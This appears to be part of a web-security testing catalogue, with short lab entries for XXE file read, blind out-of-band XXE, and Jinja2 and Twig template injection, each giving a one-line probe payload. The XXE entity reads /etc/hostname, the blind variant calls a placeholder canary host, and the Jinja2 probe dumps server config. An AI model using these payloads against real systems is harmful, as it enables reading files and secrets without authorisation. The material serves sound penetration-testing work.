Review cloud metadata access protections.

# Confirm metadata IP blocking and IMDSv2 enforcement
WebXXEFileRead

XXE - File read lab

Test XXE file access only in a local lab parser.

<!ENTITY xxe SYSTEM "file:///etc/hostname">
WebXXEBlind

XXE - OOB lab

Test blind XXE only against owned canary infrastructure.

<!ENTITY % xxe SYSTEM "http://<owned-canary>/xxe">
WebSSTIJinja2

SSTI - Jinja2 lab

Test template exposure in a controlled local lab.

{{config.items()}}
WebSSTITwig

SSTI - Twig lab

Validate Twig template expression handling in a local lab.

{{7*7}}